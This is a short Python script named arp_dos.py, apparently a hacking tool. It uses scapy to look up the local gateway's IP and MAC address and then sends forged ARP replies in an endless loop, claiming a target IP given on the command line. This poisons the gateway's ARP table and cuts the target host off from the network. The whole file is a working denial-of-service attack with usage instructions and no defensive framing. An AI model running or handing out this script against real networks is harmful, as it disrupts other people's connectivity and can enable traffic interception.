#coding:utf-8

 #example :sudo  python arp_dos.py  192.168.1.103

 from scapy.all import ARP,send

 import os,re,sys

 def get_gateway_ip():

     t=os.popen('route -n')

     for i in t:

         if i.startswith('0.0.0.0'):

             r=re.split("\s+",i)

             return r[1]

 def get_gateway_hw(ip):

     t=os.popen('arp -e %s' % ip)

     for i in t:

         if i.startswith(ip):

             r=re.split("\s+",i)

             return r[2]

 def hack(hackip):

     ip=get_gateway_ip()

     hw=get_gateway_hw(ip)

     arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)

     #os.popen('ifconfig eth0 %s' % hackip )

     while 1:

         send(arp)

 def help():

     print ("USEAGE: sudo python arp_dos.py 192.168.1.100")

 def main():

     if len(sys.argv) != 2:

         help()

     else:

         hack(sys.argv[1])

 if __name__=="__main__":

     main()